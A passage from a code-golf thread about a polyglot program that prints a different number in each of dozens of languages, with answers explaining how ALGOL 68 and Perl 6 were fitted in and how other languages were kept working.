DTg9NCNtz8rzyu0KRgJfYvLrlutEYuJ4j@cySKAdRUcgQ68cgkRvwYia@a8QdUV4BBEvU5/UvJCNqYE/bZ0Q/IgqeW2A5zPEGarH96i9vOlav@ZUEJmzgTczAudzkn/RHdipXyBzEmaFdrXZb0L3sVYhcnMr5tLBGzkvCC6MS3kRUbHN1zetZAS@vc7tjE17P4kXLEJcyrFtDep1m8Kpx1MJpmkUVdv4BZNL6WUbqeLjDQCTQEgV5gsclWJvBIcUp@UJGaCu6S@y6BW9CID6WA4PmMt9aTXHNZ@xyzDeG11WjWmvy6RQvmo0WbyWsH2HBuPOhO@mZ6Vwq3e70J6s6BbFFCYA/NNFzjn59dls0WtaXLym9gbx7pjg8CUf3Lt6ePj89Ojtvn78@AzHOxCwLx1ES0GWIQCOIfdiAjiKfV@BBHonH0u@HjUXoyAUnv3snF0U7jwEkD1TklOsqV4uSrgapylx9OHXwqDFExTlpUPvtlmDDmZFJE9h5B@ysM7N4y5GoKilS0iC2RTRtvZfDC3E9houAyFbYn1885C2htgPhXAVwzreAEUxuncTsf4nz0/bZ2fc5R6jvcQ7A0veorxA@bj9/sUl4hSYCbPTnCwM8lkeVR1PYX0L8GnDLxIL43GKi/EBj7tAQr0eiykb9ZUhKFwUztKEBBlQffBKNmadWKTolQf83SNtPIQD2@@DRlzcZBgSIhKJGtiiUyQWYurFYnypElhA2bW4WtsHhJ5BOuB/F4CKH45jTbWdDXWb@869/E@dB3Qza/563B9D@T9H@YKKANg8QBI8L0aBY3jw/JSmsMmLiAZ2uzAkDPS4kXjhmxAtAgtdcIAgumF3Od4lH7bwBeYISQJgYsTBIcXos6amjLIsPTBPXZdgBDQxecGFT0APEOMONAvO3MR7PQVw1d@u7Ozbk80y/niPkVd8hZv8CoaYdgP1I117c/HjpkkajQeQU0kfW3HWEIM0i/VCTPy4YLQKsJJbwDoExMGQ5Avpa@TC1SMu2hkPR/xRbIT0HVmehFwjwKm8AiIafw1weMqwgUS4qLCCzacaD4c18awL7gjAiAcqJH9LOEemASODWZGnDdoFf6OEpvre2JzRW1SC/RTBeEDiQt5kOAQv5ry2WE0L7P0S707X0r71tB4wL22lvniOqd08BcS7k8CyMsOpzDLwStWpWa6a9q634iZyjAm7RK74ASvAD8CuXeZ@iOG0/PXr@88np2cY5GIdU7oIpRGk1yl3dqHR6i4Zyx@bnIn1ybJ69fHI8F@QqV3nXXa62Ib/L2D3E3opyyiYp3rFByLb@KOJlnrd1IssscAXwqUgAN6iq2u2s02u0umFhg/yXbYfUBaOE59LQ6qb8iFohWwLMomB0Hl2BeXzj9E3PEML7vHoO5@Wj8ZCr2jL77NrEUxnJMOc9sDaqjTVuNXFSKGQwJw9xIv9StGWgu6TlShvZ/Coj82LPgt7qyM3pzpcZ8NO8uAmuj//sgcc4sC3zgJPDX1gYshuiQhQLKAQHOoYkO9Eq8/82qizOh1e0@S95rfSubx8pt34EEaxoOnwD6MzAjT92STfrDroh@rJzY/5oGqZzqxb95o0J4VdrqcVR0y7XSuVyMSypxRAD0MOHuG@cFSG@XRiyIU8BSC/6mgOrKsTDZjF0irShFvvNaomPgFfIJW9hwNfUNG6LdGYWH0I4qcCXhGHUZmox1XB/aBmGPQP@PkVeWDQrAY1vVZnIUzxmR/JFr1xGHoziBTLw1eyelblxdc9MvlN18mXNHAYOj/7Kuo3@/nvB3iVEVmflx9Xag0NNV2XTLHWfXTtKhw6qxm@906vT03dK4emJJts7shPuSAWzZH15ZJofP36EQE9IR1d6nQdq69GjUsXZ3StVDh3Frhza1g8/2LamVqva2Q8/qDY5VZR6TTn7oPwmFVo/gGpruw8Of/goFaTCRasMl9EygA@p8LEBHxu92YyUG52G0WrpvVZHKtxKhc8zhG5OG68Qvtx5xsfBVd9/AfeG3uvEpy@O2mdHlWpDL1SfnVSqZ6@fFGx4qS/esKsGb6@O2s9OXp9XqmLIX56/OXp9etx@6nlenPb7aX/nZPfkMBr1WoeHZUPX9UOj1QNGpj@VW@VmlmXk/UUJbPRZa/ra1BvAwAup8IpD6l0NYL9IhU6hoz6uPq5avnVtTe0r@@pldLL8PTmBDm9qfYoSa2SN7L5t21OLvbZuptaNFUQndh@eDH6sAJqeNZhaQyu0Qttew3P/b3ASvTyJAFUEw7KplSFWawDP4cnJS0A2AMKf4MezLAv4m1rX8Gv5Nr8@XFiWJsHGulffjau7v3WwfELq@70Om3pZTyYVpdvBZb5gpt2uKYxMroKhYP9sdnHxrH3evrgwUW@FwrRRLB@W9UO4mq1yI388LvRbKDUDooKkqKoadxWHNqnDU@winpJ07F65eEsPxjMMEiW7pHH/rluOU2rn7R1o5809x2EpdTkTjiK4UlV2TX1VtrvT6qAqa7h12wcns2tg9Ra@7Wgf7EZD3a1rrdZuVYsSWZnKUaLczsSPejtrqPzS8EfT8GN@b2m3agNAAEbjrwIeoCZv377Fv7eT64lo8Yb49nbRufqCF@ybyYgSpTArYMgLyU5dg20P03Z21b3yfv7TfKABO7JS0/BHVqS5wJt2AbmXCobzSrar0APidzD1jnxm@LC5qO1LMlxS85INvVBqtG7DvlRIUwZXcErZmLHJeDxhi@uplx7QT59oDCuY6RgYvKvV/b363n6tulfZ29/bqdu79XrFrlbsR3uP9q2Kbdl79u5efd@u7O3s13Z2dvaht77/yCxJhT4bYGUgJimsC9FAiRXdfizX9iDVrT0CxmHtwEO4Bh5XRsaoJeFRM1GJdos2qMaaMwM0ohqxa0uFmdTHUvjOvoOhYtZoSUUFhyg1qaDXop2oUCwWIa6ct@SafGKkUpPBhEECBRkHF9IvUd3@Gv7sFA5ipbaj1LrNgsCu2o@0Qqv6yIBcv9ATH9Ud@NYrcHOr2gUy9f6vfiG7GExWTGbdjLY0ltfCnjasa6W15X1yHeB/XKVpuvdjfzj0qj9@/AJ7FaIo1Toh9i4awFe9IX4bcHv39ERIRd6ty1oh/XDx4aIKxrG/v1v4HQZ@Y2cDvYslfsBg9RsH29b4duK9pJhKhot1Hhovx7ClWJgKQVvxvUs0lrVvwn5WP/H/a4VvEvKFVqJiAyKNW@H5LSnxqNPTyO28KqJiLybm2iKPT1g2TkJiOaLegig8Z9EEKmjapIkAPPmGaKN6TdshXgORwRN2AjkFvOYjyk1s@ixUORdeT3Ok1QIF56QFo1d4WRlfLgvwmWBLzMcN@mLaom/xCuwFWIZ11Xy0dgegY/UARulaSj7NPzIN2K@qCwwV8qencWc8bHq0@Zw4C8vO/PtSFTOplFUCR8Jpl2JH@kV1tVvcjDlfg4cP3Q9xJ@g5WtDM8FkuB85MulI9AVLKmkFTt50YmHWyTrns9ZqB9osac@aDpgXAQBsxp9rtQtNhM1dXqlU@d0L9a9irHHfCst2rjCul983PFdq0KlP4A7FV/MpvILy5KNWs@bkcOrQBf7gvXJNE3EzL1FmvG8GQK9Vvfu7QXtPSHB8GlsvHMBngM@345XJPA@I@dG4OdPyHD2nZb00dX9c1hPpQe3zcyaDRKzfx/UCljenjz50xjD9Q4dkEMr4GzMO4dR0APuDPARkL9S1ZFzxOkb0psBc0m6X3j0vvS80HDz53pnrQqwjxH1hLxSPzU2R@1UbU0vtVw@Ii4WVZVf7JO/jJKKVEroD1gZAr8cpIwWHpPfTES2@Y/Q8 "Test driver – TIO Nexus") ## Rundown This program prints **65** in ALGOL 68, **64** in Agony, **63** in Brian & Chuck, **62** in Grass, **61** in S.I.L.O.S, **60** in Moorhens 2.0, **59** in Tcl, **58** in Ksh, **57** in Wise, **56** in dc, **55** in Brain-Flak Classic, **54** in Zsh, **53** in Shove, **52** in COW, **51** in Assembly, **50** in Bash, **49** in Octave, **48** in Deadfish~, **47** in Lily, **46** in Cubix, **45** in PicoLisp, **44** in alphuck, **43** in reticular, **42** in evil, **41** in brainfuck, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Most languages can be tested with the test driver above, but 6 languages have to be tested locally. * Reng can be tested to output 19 [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/). * Modular SNUSP can be tested to output 31 [here](http://www.quirkster.com/iano/snusp/snusp-js.html). * Incident was verified to test 33 via manual balancing of tokens. * Deadfish~ can be tested to output 48 locally, [using this interpreter](https://github.com/craigmbooth/deadfish). Note that Deadfish~ takes the polyglot to be fed on stdin, but and prints a number of `>>` prompts to standard output, which are n unavoidable consequence of running any Deadfish~ program. * Moorhens 2.0 can be tested to output 60 using [this interpreter](https://github.com/Wheatwizard/Moorhen/commit/ac540e857ec546442a21e0a242c5b184b8504c24). ## ALGOL 68 ALGOL is probably the least known of the four high-level programming languages from the early days of programming - the remaining languages of this nebulous distinction being COBOL, FORTRAN, and Lisp. ALGOL was better known in academic and mathematic circles at the time, but is today best known for its huge influence on modern languages. In fact most modern, practical languages can be described as “Algol-like,” not the least of which is C, which of course has its own lineage of influences and derivatives. I’m pretty excited to include ALGOL because it’s another major stepping stone in computer history that we get to add to this monument we call a polyglot. That’s cool stuff. ALGOL68 is the latest of the three major ALGOL specifications, the others being ALGOL60 and ALGOL58. Interestingly, the specification doesn’t have a fixed syntax, meaning that the tokens are defined, but not the spellings. This makes the language highly interpreter dependent because any given interpreter may use a different symbol to initiate a comment block for example. The specification describes the `¢` as initiating a comment block. But because `¢` isn’t among the base 127 ascii codes it understandably doesn’t see much use as the comment indicator among the available interpreters. Well it turns out that the Genie interpreter spells `¢` as `#`, which is all the opening we need to get past character 1 and make a polyglot. Genie in fact has three comment syntax options, the other two being `co` and `comment`, both of which are specified as being written in bold. Yeah, bold. If we use italics, well that’s a variable. Genie solved that for us again by spelling bold in all caps. And since `CO` isn’t in the polyglot anywhere, we’ve got an easy method of hiding the polyglot from the parser. If down the road `CO` is needed for a language, we can switch to the more verbose `COMMENT` syntax. There are no line comments in ALGOL - they’re all block style, which means they need to be terminated. Given the initial state of the polyglot, our ALGOL block comment is opened immediately and is terminated near the end of line 1 because Turtlèd is similarly using `#` as a jump token. Turtlèd very fortunately doesn’t have a problem walking through the `C` and `O` characters so in line 1 we can just insert `CO` immediately after the second `#` to initiate a fat block comment for ALGOL68. From here we just have to place `COprint("65")` somewhere. I chose the last line because I preferred to finish out the line with another `#` comment and I didn’t want the comment to terminate at the `#` at the beginning of the last line. So we follow up our ALGOL print statement with `#s` and a `#` as the last character in the polyglot. The `s` in `#s` is for alphuck to balance out the `p` in print. Thanks to @ais523 for opening up the end of the polyglot with answer 59 and making all this possible. ## SMBF We added a different character to the end of the polyglot to terminate ALGOL’s final comment, and SMBF was previously reading the last character for its answer. To remedy this, I had to change SMBF to read the second to last character by changing this code on line 8 `[.>-]` to this `[<.>>-]`. This is an SMBF private code block since BF’s MP is at 0 when the loop is initiated. ## Trigger At this point, I noticed some weird behavior with SMBF and it had to do with the relationships between these code segments ad the end of the polyglot. • Incident’s jump destination: `^_^_` • Trigger’s Jump destination plus answer: `X222999` • ALGOL68’s answer: `COprint("65")#s` ALGOL’s answer tokenized a couple Incident tokens within its code segment, so ALGOL’s code had to go prior to Incident’s code segment. ALGOL also caused a prelude alignment issue if it went first in the order so it had to go second or third. SMBF meanwhile had an inexplicable failure when Incident’s code went last, so Incident had to go first or second. Well, I realized this was an introductory logic problem that appeared unsolvable, so I set out to make the inexplicable more… plicable. After walking through SMBF I found that the problem with having ^\_^\_ at the end was due to Wise. Wise’s code ( `~-<~-<~-<<<~-`) isn’t hidden behind a non-executing loop, unlike most of the polyglot. But there’s no SMBF print codes involved in Wise’s code. It was just changing memory values. It seemed innocuous. So what was the problem then? It was that darn SM in front of the BF. Wise’s code is changing the characters in the code about to be executed, and can you guess what the ascii value neighbor of `^` is? It’s `]`. Wise was putting a SMBF loop terminator at the end of the polyglot, causing SMBF to fall into an infinite loop. That’s bad mojo. After some thought I took the 0 byte solution to the problem and separated Trigger’s jump destination (`X`) from its answer (`222999`) and ended the polyglot thusly: `~-<~-<~-<<<~-XCOprint("65")#s^_^_2229996#`. This only works because no character appears consecutively following Trigger’s jump that isn’t Trigger’s answer. ## Wrapping up That's all the major changes this round. I did make a minor change to cut the much discussed `c` in line 1, but that's it for purely golfing changes. Good Luck! ## Incident Report `#<q>"3"O.s` became `#<T>"3"O.s` because detokenizing `T` instead of `q` was more efficient at balancing `<>{` became `<>{nd` to detokenize `nd` and `{␊` Put a space between `}}` and `+` in `#<]}} +<[<.>>-]>[` to detokenize `}}+` more cheaply. [Answer] # 27. [Perl 6](https://perl6.org), 235 bytes ``` #v`16/"<"6/b.q@"(::)::: (22)S#;n4"14" #>3N6@15o|> ^*ttt*~++~~~% #=~nJ<R"12"; #[ #`<`| print((eval("1\x2f2")and 9 or 13)-(0and 4)^1<<65>>62)#@46(8+9+9+9+9+=!)=#print(17)#3]#echo 21#===2|/=1/24=x=90/ #8␛dggi2␛` |1|6$//''25 #>say 27#"26 ``` ␛ represents a literal ESC character, as usual. This program prints [**27** in Perl 6](https://tio.run/nexus/perl6#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**26** in 05AB1E](https://tio.run/nexus/05ab1e#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**25** in Pip](https://tio.run/nexus/pip#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**24** in Thutu](https://tio.run/nexus/thutu#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**23** in Hexagony](https://tio.run/nexus/hexagony#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**22** in Underload](https://tio.run/nexus/underload#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**21** in Nim](https://tio.run/nexus/nim#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**20** in Prelude](https://tio.run/nexus/prelude#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), **19** in Reng (tested [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**17** in Julia](https://tio.run/nexus/julia5#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**16** in Pyth](https://tio.run/nexus/pyth#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**15** in Haystack](https://tio.run/nexus/haystack#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**14** in Turtlèd](https://tio.run/nexus/turtled#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**13** in Ruby](https://tio.run/nexus/ruby#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**12** in Fission](https://tio.run/nexus/fission#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**10** in Befunge-93](https://tio.run/nexus/befunge#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**9** in Perl 5](https://tio.run/nexus/perl#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**8** in Retina](https://tio.run/nexus/retina#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**7** in Japt](https://tio.run/nexus/japt#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**6** in SMBF](https://tio.run/nexus/smbf#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**5** in Python 2](https://tio.run/nexus/python2#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**4** in ><>](https://tio.run/nexus/fish#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**3** in Minkolang](https://tio.run/nexus/minkolang#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**2** in Vim/V](https://tio.run/nexus/v#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), [**1** in Python 3](https://tio.run/nexus/python3#LcyxTsMwEIDh3a/Q5fCBajcC9y6O26SxlZmBAUagSqClVEIJlKgqkpVXT4VA//Qt/4jHmpyRpXTm5earkqoodFEUAIpZP@CqtZKsFBjSO1dR1sUA61nf97MhSYZhuBLoh/a2vJfEciXwUWBd1lF8HvZtr9T22HwoSU8nfmOpm3YDOXQHoFRfq/kvrV5TWbosBMcaK@vUMsn/8xfa49@IFhrTZ9y@vnfAhN57jsaTYetPPp8bgcvJZrfb86SGSNFdGjOdcgaA4bv5AV6gZDeOZw), and (as it's Christmas) `a partridge` in [A Pear Tree](http://esolangs.org/wiki/A_Pear_Tree). The syntax highlighting that Stack Exchange produces for this answer is completely wrong. `#`<` is one of Perl 6's many multiline comment markers, and ends at `#>`, thus the only code that actually runs in Perl 6 is the very simple `say 27`. I chose this particular comment marker because `<>` aren't a matching pair in most languages, and thus the unmatched `<` won't break languages, such as Retina, that attempt to parse it. I'm not entirely sure how the Hexagony works any more. When it broke, I changed one of the characters it was using from a `+` to a `0` to see if it was being hit; turns out it was, and turns out this fixed the program, but I'm not sure why (I know it broke due to a `#` in the line of execution, but it's unclear why removing the `+` fixes things). (The character in question is also parsed by Thutu, but luckily this doesn't make a difference to the functioning of the Thutu program, as at that point in the program, anything that isn't preceded by an `=` is copied literally into the working string.) Note that the `0and+4` from a previous line became `0and 4`, to make it one character shorter from Hexagony's point of view (Hexagony doesn't see spaces); this is to compensate for the `#|` on a previous line becoming `#`<`|`, which is one character longer from Hexagony's point of view (because it doesn't see backquotes either). Note that the code's now only five bytes away from expanding the Hexagony side length and breaking everything about the current Hexagony code. I'd recommend doing this anyway and just redoing the Hexagony section of the code; it'll probably be easier, rather than harder, to fit everything in after an expansion. Some other languages changed too, mostly to add enough robustness that I could fit arbitrary code 